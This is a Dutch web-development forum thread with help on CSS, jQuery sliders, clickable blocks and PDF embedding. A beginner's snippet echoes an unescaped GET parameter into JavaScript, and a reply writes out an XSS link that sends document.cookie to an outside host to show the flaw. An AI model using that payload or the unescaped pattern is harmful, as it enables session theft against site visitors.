de rendering begint met weergave aan ook pas na ongeveer 0.5sec. Verschil is dat nu meteen de hele site voor je neus staat. Het valt dus met de user-experience wel mee. Ik maak het optioneel trouwens, dus als je liever de site progressief weergegeven wilt hebben dan kan dat. Standaard zal de fp waarschijnlijk in de header een document.write of geïnjecteerde style krijgen a la body{display:none;} of body{visibility:hidden;}, welke bij document.ready() weer uit de dom wordt verwijderd.quote:Op dinsdag 20 november 2012 20:56 schreef KomtTijd... het volgende:
Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.
Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.quote:Op dinsdag 20 november 2012 02:07 schreef n8n het volgende:
[..]
dank maar ik doelde op die over php, had deze al gebookmarked
[..]
specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleek
voorbeelden zijn in dit topic nogal lastig volgens mijquote:Op dinsdag 20 november 2012 17:30 schreef Danny het volgende:
[..]
ah ok. zonder een voorbeeldje kan ik er niet zoveel mee
_ 't is goed met je, als ik de was en de strijk gedaan heb en geen zin heb om ook nog te stofzuigen, zal ik kijken of ik zin heb om misschien een proof-of-concept te schrijven. Tot die tijd kan er wat mij betreft gewoon normaal gereageerd worden op een vraag naar ervaringen.quote:Op woensdag 21 november 2012 10:43 schreef Catch22- het volgende:
[..]
voorbeelden zijn in dit topic nogal lastig volgens mij
Oke.quote:Op woensdag 21 november 2012 11:08 schreef KomtTijd... het volgende:
[..]
_ 't is goed met je, als ik de was en de strijk gedaan heb en geen zin heb om ook nog te stofzuigen, zal ik kijken of ik zin heb om misschien een proof-of-concept te schrijven. Tot die tijd kan er wat mij betreft gewoon normaal gereageerd worden op een vraag naar ervaringen.
visibility:hidden;quote:Op woensdag 21 november 2012 11:18 schreef Catch22- het volgende:
[..]
Oke.
ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ?
bedanktquote:Op dinsdag 20 november 2012 22:32 schreef pascal08 het volgende:
[..]
Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.
Hier is de link: http://www.youtube.com/user/phpacademy
Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)quote:Op vrijdag 23 november 2012 16:59 schreef Alfje het volgende:
Dus de oplossing via JQuery, is dat beter omdat je het dan netjes gescheiden houdt, of zijn er nog andere redenen?
Dank, ik wist dat het ook "gewoon" met javaScript kan, maar inderdaad de JQuery manier is eenvoudig overzichtelijk en bekend.quote:Op vrijdag 23 november 2012 17:05 schreef KomtTijd... het volgende:
[..]
Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)
Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken.
Dit is een reactie op Alfje toch? Met dit is toch niets mis?quote:Op vrijdag 23 november 2012 16:56 schreef Tijn het volgende:
Het is beter om geen javascript in je HTML te zetten.
1 2 3 4 5 6 7 8 | <html> <head></head> <body> <script> // javascript </script> </body> </html> |
SPOILEROm spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.Ik zal er even een JSFiddle van maken.
[ Bericht 1% gewijzigd door pascal08 op 23-11-2012 19:26:17 ]
Beter hou je je javascript gewoon in een los scriptbestand.quote:Op vrijdag 23 november 2012 19:17 schreef pascal08 het volgende:
[..]
Dit is een reactie op Alfje toch? Met dit is toch niets mis?
[ code verwijderd ]
Ja, dat heb ik ook.quote:Op vrijdag 23 november 2012 19:23 schreef KomtTijd... het volgende:
[..]
Beter hou je je javascript gewoon in een los scriptbestand.
1 | <script src=""></script> |
't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.quote:
Je hebt het nooit nodig, het is puur luiheid.quote:Op vrijdag 23 november 2012 19:30 schreef KomtTijd... het volgende:
[..]
't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.
Hoe krijg ik unieke variabelen voor elke slider? Nu wordt dus elke keer de waarde gereset naar de waarde van de andere slider:quote:Op vrijdag 23 november 2012 19:35 schreef pascal08 het volgende:
Meerdere sliders maken is dus niet het probleem; ik wil m'n JavaScript zo kort mogelijk maken. Ik heb al best een hoop geprobeerd en ik kwam aardig dichtbij door met classes te werken en in m'n JavaScript het ID dynamisch te maken, maar dan werden de minima en maxima gereset naar de waarden van een andere slider bij het schuiven van beide sliders.
http://jsfiddle.net/cJnUA/1/
De classes heten leading-0 en leading-1.quote:Op maandag 26 november 2012 15:03 schreef -J-D- het volgende:
Voor jullie een simpele vraag, voor mij een lastige puzzel.
Hoe krijg je op deze pagina een stukje ruimte tussen die nieuwsberichten?
Via Chrome ontdekt dat dat stukje items-leading heet, maar als ik in die code ga sleutelen, dan verandert er niets tussen de divjes in, maar juist er omheen. Zat wat te stoeien met margin, maar blijkbaar zit ik op de verkeerde weg.
Ik zag het al. Dom van me.quote:Op maandag 26 november 2012 15:06 schreef donroyco het volgende:
[..]
De classes heten leading-0 en leading-1.
Ik gebruik elke keer dit setje:quote:
1 2 3 4 | <tr> <th></th> <th></th> </tr> |
...da's anders niet wat op je jsfiddle sample staat.quote:Op maandag 26 november 2012 17:05 schreef pascal08 het volgende:
[..]
Ik gebruik elke keer dit setje:
[ code verwijderd ]
De tabel heeft geen hoofdrij.
Ik zou ook kunnen zeggen dat ik alleen maar hoofdrijen gebruik. Maakt dat uit?quote:Op maandag 26 november 2012 17:06 schreef KomtTijd... het volgende:
[..]
...da's anders niet wat op je jsfiddle sample staat.
En als je geen hoofdrij hebt, waarom gebruik je dan wel th's?
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.quote:Op maandag 26 november 2012 17:09 schreef KomtTijd... het volgende:
Euh. Ja?
Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ?
Mensen met een screenreader worden er niet blij van als je alles in th's zet. Daar staat normaal gesproken de beschrijving van een rij of kolom in.quote:Op maandag 26 november 2012 17:11 schreef pascal08 het volgende:
[..]
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Dan zou ik zeggen: Doe dat.quote:Op maandag 26 november 2012 17:11 schreef pascal08 het volgende:
[..]
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Dat is nou juist het probleem. Als ik dat doe dan klopt de javascript code niet meer. Mijn vraag is dus of iemand weet hoe ik iets tussen de span-tags kan printen als er th/td-tags om de span-tags staan.quote:
Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:quote:Op maandag 26 november 2012 17:21 schreef KomtTijd... het volgende:
pas de probleme? http://jsfiddle.net/LgwQf/
Is dat de standaard procedure hier?quote:Op maandag 26 november 2012 17:24 schreef KomtTijd... het volgende:
En dat moeten wij maar ff voor je doen? Je mag mailen voor een offerte.
Soms. Je bent nu al op de goede weg, de rest moet je nu zelf kunnen.quote:Op maandag 26 november 2012 17:26 schreef pascal08 het volgende:
[..]
Is dat de standaard procedure hier?
Jij denkt dat ik het vraag omdat ik te lui ben? Dit kost me meer tijd dan even simpel een paar <td> tags om de code heen te zetten.quote:Op maandag 26 november 2012 17:27 schreef KomtTijd... het volgende:
De standaard procedure hier is dat je eerst zelf iets probeert, en dan om hulp vraagt met wat er niet lukt. Dat is iets anders dan, "hoi, maak dit eens voor me"
1 | .ui-slider { position: relative; text-align: left; } |
1 | .ui-slider { position: relative; text-align: left; display: inline-block; width: <noem een getal>px} |
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.quote:
Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.quote:Op maandag 26 november 2012 17:31 schreef pascal08 het volgende:
[..]
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.
quote:Op maandag 26 november 2012 17:31 schreef Merkie het volgende:
Vervang:
[ code verwijderd ]
Door:
[ code verwijderd ]
En waarom moeten wij dat uit de lucht raden, terwijl jij zelf gewoon je console open kunt zetten? Is dit een soort quiz?quote:Op maandag 26 november 2012 17:31 schreef pascal08 het volgende:
[..]
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.
Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed.
Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.quote:Op maandag 26 november 2012 17:32 schreef pascal08 het volgende:
[..]
Dat kan ja, maar ik wil het liever in een HTML-tabel.
quote:Op maandag 26 november 2012 17:32 schreef pascal08 het volgende:
[..]
Dat kan ja, maar ik wil het liever in een HTML-tabel.
1 2 3 4 5 6 7 8 9 10 11 12 | <table> <tr> <td>kolom1</td> <td>kolom2</td> <td>kolom3</td> </tr> <tr> <td>kolom1</td> <td>kolom2</td> <td>kolom3</td> </tr> </table> |
Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen.quote:Op maandag 26 november 2012 17:32 schreef donroyco het volgende:
[..]
Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.
In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?quote:Op maandag 26 november 2012 17:33 schreef donroyco het volgende:
[..]
Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.
Yes.quote:Op maandag 26 november 2012 17:35 schreef pascal08 het volgende:
[..]
In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?
Zo dus: http://jsfiddle.net/kkKx6/4/
Doe het gewoon met CSS?quote:Op maandag 26 november 2012 17:34 schreef pascal08 het volgende:
[..]
Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen.
Thanks. Ik zat helemaal in een tunnelvisie met die tabel, omdat Bootstrap een mooi tabelletje genereert met een simpele code. Ik zal nu dus even uit moeten vogelen hoe ik hetzelfde effect krijg zonder Bootstrap.quote:
Ik heb m'n probleem hier veel sneller opgelost, maar toch bedankt.quote:Op maandag 26 november 2012 17:40 schreef KomtTijd... het volgende:
Ik zou zeggen ga dit topic eens doorlezen:
DIG / Kijk hier als je snel een oplossing wil voor je probleem
Als je een aantal posts terugleest dan zie je dat ik hier eerder een vraag had gesteld hoe ik meerdere sliders met 1 code kon aansturen. Uiteindelijk heb ik dat helemaal zelf (goed hè? ) opgelost.quote:Op maandag 26 november 2012 17:44 schreef KomtTijd... het volgende:
Als je gewoon gelijk had verteld wat je wou, had je binnen 3 seconden je antwoord gekregen.
Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had.
Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht.quote:Op maandag 26 november 2012 17:56 schreef KomtTijd... het volgende:
Als je ergens sorry voor wilt zeggen, zeg dan sorry voor het feit dat je iedere keer in dezelfde valkuil loopt. Maar blijf er gerust lekker in lopen, dan zullen we hier onze haren uit ons hoofd blijven trekken om alleen maar je probleem duidelijk te krijgen, waarna je het zelf makkelijk kunt oplossen.
Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:quote:Op maandag 26 november 2012 17:59 schreef pascal08 het volgende:
[..]
Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht.
Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weetquote:Op maandag 26 november 2012 17:23 schreef pascal08 het volgende:
[..]
Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:
Slider1..........1-99..........*slider1*
Slider2..........1-99..........*slider2*
quote:Op maandag 26 november 2012 18:01 schreef KomtTijd... het volgende:
[..]
Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:
[..]
Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weet
Hier had ik al de oplossing gepost he, voor de duidelijkheid.quote:Op maandag 26 november 2012 17:38 schreef Merkie het volgende:
[..]
Doe het gewoon met CSS?
http://jsfiddle.net/kkKx6/8/
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.quote:Op maandag 26 november 2012 20:02 schreef Scorpie het volgende:
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij.
Ik ga zo wel even posten wat ik ervan gemaakt heb, mogen jullie het weer afblaffen.quote:Op maandag 26 november 2012 19:00 schreef Merkie het volgende:
[..]
Hier had ik al de oplossing gepost he, voor de duidelijkheid.
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.quote:Op maandag 26 november 2012 20:07 schreef pascal08 het volgende:
[..]
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.quote:Op maandag 26 november 2012 20:07 schreef pascal08 het volgende:
[..]
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen.quote:Op maandag 26 november 2012 20:19 schreef Tijn het volgende:
[..]
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.
Deze kan zo in het rijtje Cruijffiaanse uitspraken. Maar ik snap je punt.quote:Op maandag 26 november 2012 20:39 schreef Scorpie het volgende:
[..]
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.quote:Op maandag 26 november 2012 20:59 schreef pascal08 het volgende:
[..]
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen.
Dat snap ik volledig. Als mensen een potje maken van mijn vakgebied kan ik ook heel boos worden. Het is vaak lachwekkend om te zien hoe sommige mensen te werk gaan. Echter moet je niet vergeten dat dit om een privé-projectje gaat waar het woord "professioneel" in de verste verte niet te bekennen valt. Ik hoopte hier gewoon simpele, maar doeltreffende oplossingen te vinden van mensen die wél weten hoe je een probleem professioneel oplost.quote:Op maandag 26 november 2012 21:08 schreef Tijn het volgende:
[..]
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.
Dat dacht ik ook.quote:Op maandag 26 november 2012 21:28 schreef Tijn het volgende:
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
Dat geeft je wel de beste garantie dat het ook nog voor iedereen gewoon leesbaar blijft. Wat toch uiteindelijk het allerbelangrijkste is.quote:Op dinsdag 27 november 2012 23:08 schreef picodealion het volgende:
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
En wat zie je als je dan het puntje selecteert?quote:Op donderdag 29 november 2012 22:22 schreef pascal08 het volgende:
[..]
Bedoel je Element Inspect van Chrome? Ja, die gebruik ik.
Het puntje kan ik niet selecteren. Het verschijnt altijd op een bepaalde hoogte boven de cursor bij het klikken.quote:Op donderdag 29 november 2012 22:23 schreef Tijn het volgende:
[..]
En wat zie je als je dan het puntje selecteert?
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?quote:Op donderdag 29 november 2012 22:23 schreef pascal08 het volgende:
[..]
Het puntje kan ik niet selecteren.
Ik wil straks met jQuery gegevens versturen. Kan dat ook anders dan? Waarom is deze plugin er dan?quote:Op donderdag 29 november 2012 22:24 schreef picodealion het volgende:
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS?
Ja, die heb ik bekeken. Er valt mij niets vreemds op. Ik zal nu kijken of ik het ook kan triggeren met Firefox.quote:Op donderdag 29 november 2012 22:25 schreef Tijn het volgende:
[..]
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?
Anders is het misschien een glitch. Heb je het met andere browsers ook?
Nee, dat snap ik. Ik hoopte dat het een bekend probleem is. Zonder code wordt het natuurlijk gewoon gokken als je dit probleem niet eerder hebt gezien. Ik zal eens kijken of ik het kan reproduceren in een fiddle, momentje.quote:Op donderdag 29 november 2012 22:32 schreef Tijn het volgende:
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op
Ik wist ten eerste niet hoe ik mijn layout wilde gaan maken, dus dit bracht me op een goed idee. Ten tweede weet ik hoe ik met jQuery gegevens moet doorsturen, zodat ik een query kan maken die de juiste gegevens ophaalt uit m'n database. En ten derde scheelde het me wat tijd, want ik hoef nu niet zelf m'n CSS te maken. Ik zag er dus alleen maar voordelen in. Waarom vraag je dat dan?quote:Op donderdag 29 november 2012 22:36 schreef Tijn het volgende:
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt.
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.quote:
Ik gebruik jQuery UI toch al, dus dan is het toch handiger om deze plugin te gebruiken in plaats van het zelf te schrijven. Daarnaast vind ik jQuery wel fijn. Alles is voorgekauwd en het scheelt mij als beginner een hoop tijd.quote:Op donderdag 29 november 2012 22:46 schreef Tijn het volgende:
[..]
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.
Ik vind het wel een uitkomst. Ik haal er een hele hoop ideeën vandaan en het werkt altijd meteen. Wellicht is de code zelf schrijven efficiënter voor de website, maar dan ben ik in 2025 nog niet klaar.quote:Op donderdag 29 november 2012 22:53 schreef Tijn het volgende:
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.
Maar jQueryUI vind ik persoonlijk wat minder.
Hoe zou jij het doen dan? Het gaat alleen om het principe van selecteren/geselecteerd blijven en deselecteren/gedeselecteerd blijven.quote:Op donderdag 29 november 2012 23:01 schreef Tijn het volgende:
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.
Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Wat zou dat schelen in ms of is het puur omdat je code er kleiner van wordt?quote:Op donderdag 29 november 2012 23:13 schreef Tijn het volgende:
Gewoon onclick een class "selected" geven of ontnemen.
Da's waar.quote:Op donderdag 29 november 2012 23:16 schreef Tijn het volgende:
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten
1 2 3 | <div class=" (selected of niks) " style="float:left; margin: 2px; padding: 0px; width: 80px;"> // inhoud </div> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <!DOCTYPE html> <html> <head> <title>Voorbeeld van klikbare blokjes</title> <link rel="stylesheet" href="style.css" type="text/css" /> </head> <body> <h1>omg klikbare blokjes</h1> <ul id="selectable"> <li data-id="1">blokje 1</li> <li data-id="2">blokje 2</li> <li data-id="3">blokje 3</li> <li data-id="4">blokje 4</li> <li data-id="5">blokje 5</li> <li data-id="6">blokje 6</li> <li data-id="7">blokje 7</li> <li data-id="8">blokje 8</li> <li data-id="9">blokje 9</li> </ul> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> <script src="script.js"></script> </body> </html> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | body { font-family: sans-serif; text-align: center; } #selectable { list-style-type: none; } #selectable li { float: left; width: 80px; height: 80px; background-color: #eee; border: 1px solid #888; border-radius: 3px; margin: 5px; padding: 10px; cursor: pointer; } #selectable li:hover { background-color: #fff; } #selectable li.selected { background-color: #f8f89f; } |
1 2 3 4 5 | $(document).ready(function(){ $('#selectable li').live('click', function(){ $(this).toggleClass('selected'); }); }); |
Holy shit, even kijken.quote:Op donderdag 29 november 2012 23:34 schreef Tijn het volgende:
Is zoiets niet wat je wil?
[ code verwijderd ]
style.css:
[ code verwijderd ]
script.js:
[ code verwijderd ]
Wel een heel mooi voorbeeldje. Ik weet hoe ik jouw voorbeeld kan uitbreiden met een Ajax call, dus dit is perfect. Nog 1 vraagje: waar gebruik je data-id voor bij elke <li>?quote:Op donderdag 29 november 2012 23:42 schreef Tijn het volgende:
Het is maar een voorbeeldje hoor.
In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
Juist, dan kan ik natuurlijk met PHP daar de id laten echoën die relevant is voor mijn zoekactie.quote:Op donderdag 29 november 2012 23:44 schreef Tijn het volgende:
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
Hmm... oké. Ik heb er veel werk aan gehad omdat ik meerdere sliders wilde aansturen vanuit één eventhandler (?), Uiteindelijk is het me gelukt, zonder dat er rare glitches zichtbaar zijn. Bovendien bestaat het systeem uit meer dan 50 sliders en werkt het onder alle omstandigheden toch heel snel. Vandaar dat ik jQuery UI ook gelijk geweldig vond.quote:Op donderdag 29 november 2012 23:47 schreef Tijn het volgende:
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
Ik snap niet helemaal wat je bedoelt. jQuery UI is toch één compleet bestand? Kan ik delen daarvan gewoon weghalen?quote:Op donderdag 29 november 2012 23:54 schreef Tijn het volgende:
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
Ik vermoedde het al toen jij het had over includen van componenten die je ook zelf kunt maken. Ik heb gewoon die hele meuk geïnclude.quote:Op vrijdag 30 november 2012 00:01 schreef Tijn het volgende:
http://jqueryui.com/download/
Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Omdat totals een array is. Dus totals[0]==null.quote:Op vrijdag 30 november 2012 09:29 schreef Deeltjesversneller het volgende:
[ code verwijderd ]
waarom levert (totals == null) false op?
1 2 3 | a [style*="color:#0000FF"] { color: green!important; } |
Geloof er niks van.quote:Op vrijdag 30 november 2012 09:37 schreef Deeltjesversneller het volgende:
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
Het is al gelukt.quote:Op zaterdag 1 december 2012 14:41 schreef n8n het volgende:
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
1 2 3 | a.username[style*="#0000FF"], a.tag[style*="#0000FF"] { color: #389ABE !important; } |
beterquote:Op zaterdag 1 december 2012 15:00 schreef Dimens het volgende:
[..]
Het is al gelukt.
[ code verwijderd ]
Met dank aan TwyLight.
Wat heb je zelf tot nu toe?quote:Op dinsdag 4 december 2012 13:30 schreef Laser. het volgende:
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.
Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Als je op de button klikt roept ie de functie count(); aan.quote:
1 2 3 4 5 6 7 8 | <script type="text/javascript"> var img = 1; function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; } </script> |
1 | document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img" + (img % 4) +".jpg)"; |
Neuh, gewoon %4 en bij 0 beginnen.quote:Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
quote:Op dinsdag 4 december 2012 13:34 schreef Laser. het volgende:
script type="text/javascript">var img = 1;function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";}</script>
1 2 3 4 5 6 7 8 | <?php var img = 1; function count() { (img < 4) ? img = img++ : img = 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img"+img+".jpg)"; } ?> |
Netter dan de mijne.quote:Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
1 2 3 | <script type="text/javascript"> document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; </script> |
1 2 3 4 5 6 7 8 9 | <script type="text/javascript"> var section = "S3"; var img = 1; function count() { img = img + 1; document.getElementById("art").style.backgroundImage = "url(content/art/"+section+"/"+section+"_img"+img+".jpg)"; if (img==4) img=0; } </script> |
1 | var section = "<?= $_GET["section"] ?>"; |
Ach, mensen klikken ook op dit soort pareltjes.quote:Op dinsdag 4 december 2012 15:24 schreef KomtTijd... het volgende:
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Er sterft altijd een beetje van mezelf als ik zulke dingen ziequote:javascript:__doPostBack('ctl00$ContentPlaceHolderPage$BottomPaging$PageButtonRepeater$ctl02$PageLinkButton','')
1 2 3 4 5 6 7 8 9 10 11 | $(document).ready(function(){ // index laden bij start $('#content').load('content/index.php'); // navigatie laden bij klikken $('ul#nav li a').click(function() { var page = $(this).attr('href'); $('#content').load('content/' + page + '.php'); return false; }); }); |
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepastquote:Op woensdag 5 december 2012 13:20 schreef Catch22- het volgende:
Even een flowtutorial lezen
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/quote:Op vrijdag 7 december 2012 14:12 schreef boem-dikkie het volgende:
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.
PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.quote:Op vrijdag 7 december 2012 14:26 schreef donroyco het volgende:
[..]
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/
Jammerquote:Op vrijdag 7 december 2012 14:44 schreef boem-dikkie het volgende:
[..]
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.
Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
